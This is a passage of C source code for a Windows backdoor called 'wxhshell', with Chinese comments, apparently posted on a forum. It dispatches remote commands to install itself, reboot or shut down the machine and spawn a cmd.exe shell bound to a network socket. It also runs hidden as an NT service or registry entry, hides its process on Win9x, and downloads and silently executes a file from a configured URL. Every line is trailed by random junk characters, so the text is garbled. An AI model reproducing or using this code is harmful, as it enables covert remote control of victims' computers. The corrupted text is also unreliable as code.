  case '?': { q&NXF (  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {-]K!tWda  
    break; H, GnF  
  } >dw 0@T&p  
  // 安装 Vj8-[ww!  
  case 'i': { (G$Q\>  
    if(Install()) =,qY\@fq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iYw1{U  
    else O*]}0*CT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >XRf= :3  
    break; n+<  
    } ,VUOsNN4\  
  // 卸载 KIWHn_ :  
  case 'r': { -*ZQ=nomN  
    if(Uninstall()) xdaq` ^Bbt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^4+U n  
    else x{So  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'dzbeTJ D5  
    break; \'('HFr,  
    } ~d,$ nZ"z  
  // 显示 wxhshell 所在路径 `qCL&(`%  
  case 'p': { M)wNu  
    char svExeFile[MAX_PATH]; Rp:I&f$Hk/  
    strcpy(svExeFile,"\n\r"); )Wt&*WMFXl  
      strcat(svExeFile,ExeFile); @<4U &  
        send(wsh,svExeFile,strlen(svExeFile),0); l>BM}hS  
    break;  => Qd  
    } i=rA;2>  
  // 重启 ;yjw(OAI*  
  case 'b': { I*a .!/$)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -y3[\zNe  
    if(Boot(REBOOT)) 2lN0Sf@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FLkZZ\  
    else { )?l7I*  
    closesocket(wsh); Qn-nO_JL  
    ExitThread(0); 3G^A^]h  
    } i\.(6hf+  
    break; 8-kR {9r  
    } =1)9>=}  
  // 关机 oz|+{b}%  
  case 'd': { }"%mP 4]&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); < %<nh`D  
    if(Boot(SHUTDOWN)) ~% `hh9]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ku|w#%I  
    else { w6lx&K-  
    closesocket(wsh); ^Mhh2v  
    ExitThread(0); vJ 28A  
    } XMxm2-%olP  
    break; W4(  
    } HB.:/ 5\  
  // 获取shell -sDl[  
  case 's': { gdyWuOxa|  
    CmdShell(wsh); Su +<mW  
    closesocket(wsh); NQiu>Sg  
    ExitThread(0);  zNn  
    break; ?LvU7  
  } [ {vX*q 3B  
  // 退出 =W"T=p*j  
  case 'x': { j9/iBK\Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g@?R"  
    CloseIt(wsh); ]S@DVXH  
    break; t)O]0) s  
    } '*&V7:  
  // 离开 wLE|J9t%Ea  
  case 'q': { o{hZjn-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  3(*vZ  
    closesocket(wsh); i_`Po%   
    WSACleanup(); z t!>  
    exit(1); Ia{t/IX\[  
    break; ?a?4;Y!  
        } o62GEl25  
  } q"f7$  
  } *kj+6`:CPs  
ox";%|PP1  
  // 提示信息 $0~1;@`rQ6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LJ z6)kz  
} n#4T o;CS  
  } ir|L@Jj,  
G#E8xA"{/  
  return; 9Nz}'a;?>  
} U` )d `4"  
&,,:pL[  
// shell模块句柄 7MKZ*f@x;  
int CmdShell(SOCKET sock) <<@F{B7h  
{ +lf`Dd3  
STARTUPINFO si; <0Gk:NB,  
ZeroMemory(&si,sizeof(si)); z'gJy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]2@lyG#<<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d5=&:cF  
PROCESS_INFORMATION ProcessInfo; &=In  
char cmdline[]="cmd"; ,WoV)L'?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "b)EH/ s  
  return 0; Kz]\o"K  
} 1@~ 1vsJ  
eG.s|0`  
// 自身启动模式 "412w^5[T  
int StartFromService(void) ,kFp%qNj  
{ x69RQ+Vw  
typedef struct N6*FlG-  
{ f&Juq8s_0  
  DWORD ExitStatus; ZF<$6"4N  
  DWORD PebBaseAddress; B_3N:K Y 9  
  DWORD AffinityMask; @FRas00)|  
  DWORD BasePriority; QUz4 Kt  
  ULONG UniqueProcessId; j5~~%  
  ULONG InheritedFromUniqueProcessId; * COC&  
}   PROCESS_BASIC_INFORMATION; }+)q/]%  
8>I4e5Ym  
PROCNTQSIP NtQueryInformationProcess; g-/ }*m l  
6r h#ATep  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WZviC_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $L'[_J  
F$YT4414  
  HANDLE             hProcess; ?MSV3uODb  
  PROCESS_BASIC_INFORMATION pbi; P_.AqEH  
))7CqN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); < 7*9b  
  if(NULL == hInst ) return 0; nM!_C-yX  
<Iil*\SC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -AB0uMot  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j:HIcCp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VLbbn  
6R#igLm  
  if (!NtQueryInformationProcess) return 0; GgtYO4,  
-^< t%{d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q0nIJ(  
  if(!hProcess) return 0; wEU=R>j.  
#9HX"<5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZdT-  
e0]%ko"  
  CloseHandle(hProcess); !-JvVdM;(  
/1xBZf rN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fY|[YPGO^  
if(hProcess==NULL) return 0; nJwP|P_  
 ;B{oGy.  
HMODULE hMod; zNg[%{mz  
char procName[255]; R}D[ z7  
unsigned long cbNeeded; 5? f!hB|6  
[|\#cVWs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tsdgg?#  
rrG}; A  
  CloseHandle(hProcess); _]L]_Bh  
-U|Z9sia  
if(strstr(procName,"services")) return 1; // 以服务启动 4Zn [F^p  
Fx:4d$>;  
  return 0; // 注册表启动 fk\]wFj  
} ` ^;J<l  
b&RsxW7  
// 主模块 G\~?.s|^  
int StartWxhshell(LPSTR lpCmdLine) |*l^<==  
{ $h5QLN  
  SOCKET wsl; i\x@s>@x}  
BOOL val=TRUE; *aGJ$ P0  
  int port=0; & u6ydN1xe  
  struct sockaddr_in door; ~JP3C5q  
 } #&L  
  if(wscfg.ws_autoins) Install(); `$3ktQ$  
gJ>#HEkMB  
port=atoi(lpCmdLine); Q(4~r+  
(B03f$8}*_  
if(port<=0) port=wscfg.ws_port; $U pWlYwG  
n3$u9!|P  
  WSADATA data; 46~nwi$,^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SH O&:2  
CY$ 1;/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E%a&6W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zqb*-1Qw"*  
  door.sin_family = AF_INET; o'8%5 M@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =)a %,H  
  door.sin_port = htons(port); >;%LW} %  
G2b"R{i/,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _joW%`T8  
closesocket(wsl); [Mj5o<k;I  
return 1; d<E2=WVB6  
} RLcC>Z  
b;NVvc(  
  if(listen(wsl,2) == INVALID_SOCKET) { nswhYSX  
closesocket(wsl); We'=/!  
return 1; O'QnfpQ*9  
} EYi{~  
  Wxhshell(wsl); +]0hSpZ"p  
  WSACleanup(); Nnoj6+b  
yV31OBC:  
return 0; 6X$nZM|g,  
r$Ik* R  
} `G=+qti  
*xpPD\{k  
// 以NT服务方式启动 k L4#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !)05,6WQ  
{ rd"!&i  
DWORD   status = 0; f 0~Z@\  
  DWORD   specificError = 0xfffffff; 5glEV`.je  
CZ%KC$l.5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [jEA|rd~}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZT`" {#L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dF|R`Pa2ML  
  serviceStatus.dwWin32ExitCode     = 0; _ozg=n2(  
  serviceStatus.dwServiceSpecificExitCode = 0; rA @|nL{  
  serviceStatus.dwCheckPoint       = 0; ?9?o8!  
  serviceStatus.dwWaitHint       = 0; -O?A"  
A5[kYD,_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (&, E}{p9  
  if (hServiceStatusHandle==0) return; ' -aLBAxy  
P$3!4D[  
status = GetLastError(); "cbJ{ G1pk  
  if (status!=NO_ERROR) !#E-p?O.  
{ 9<"F3F0|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7 Rc/<,X  
    serviceStatus.dwCheckPoint       = 0; nhd.c2t\  
    serviceStatus.dwWaitHint       = 0; "u{ymJ]t  
    serviceStatus.dwWin32ExitCode     = status; >!c Ff$2'  
    serviceStatus.dwServiceSpecificExitCode = specificError; W&m3"~BJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0XE(vc!  
    return; pTJ_DH  
  } #kJ8 qN  
Ad -_=a%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $lJ!f  
  serviceStatus.dwCheckPoint       = 0; OSom-?|w  
  serviceStatus.dwWaitHint       = 0; "kucFf f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UY:Be8C A  
} R80|q#h,]  
d Z+7S`{  
// 处理NT服务事件,比如:启动、停止 DvA#zX[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K5(T7S  
{ mmMiA@0  
switch(fdwControl) H 'nLC,  
{ U)z1RHP|z  
case SERVICE_CONTROL_STOP: DG3Mcf@5  
  serviceStatus.dwWin32ExitCode = 0; GW9,%}l^;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Exat_ L'?  
  serviceStatus.dwCheckPoint   = 0; i_I`  
  serviceStatus.dwWaitHint     = 0; ~fO#En  
  { ^Je*k)COn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /&!o]fU1C  
  } u R!'v  
  return; O /h1ew  
case SERVICE_CONTROL_PAUSE: F<)f&<5E-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C{6m?6  
  break; ~Oi.bP<,  
case SERVICE_CONTROL_CONTINUE: %Wc$S]>i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rhN"#?  
  break; / ]nrxT  
case SERVICE_CONTROL_INTERROGATE: ?1X7jn`,+  
  break; Wx8;+!2Q/  
}; BJsN~` =r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t4-0mNBZt$  
} fY|vq amA;  
~\c  j  
// 标准应用程序主函数 pFwe&_u]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AUl[h&s  
{ Q2!RFtXV  
Q%t _Epe  
// 获取操作系统版本 wJ7Fnj>u%  
OsIsNt=GetOsVer(); ASNo6dP 7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >DW%i\k1V~  
li~=85 J  
  // 从命令行安装 [,|4%Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); .O PBET(gv  
1ay{uU!EL  
  // 下载执行文件 L-e6^%eU  
if(wscfg.ws_downexe) { vNU[K%U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fqol-{F.V  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ft>,  
} BU^E68?G  
?;go5f+X  
if(!OsIsNt) { h0VeXUM;.  
// 如果时win9x,隐藏进程并且设置为注册表启动 sWgzHj(c  
HideProc(); 1mx;b)4t  
StartWxhshell(lpCmdLine); @9MrTP  
} EFs\zWF  
else a & 6-QVk  
  if(StartFromService()) I>>X-}  
  // 以服务方式启动 az Oib=3fz  
  StartServiceCtrlDispatcher(DispatchTable); X-%91z:o58  
else LM".]f!,  
  // 普通方式启动 XJ3aaMh"  
  StartWxhshell(lpCmdLine); hrbeTtqi  
yGb^kR}d  
return 0; "K*^%{  
}
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只看该作者 1 发表于: 2006-10-10
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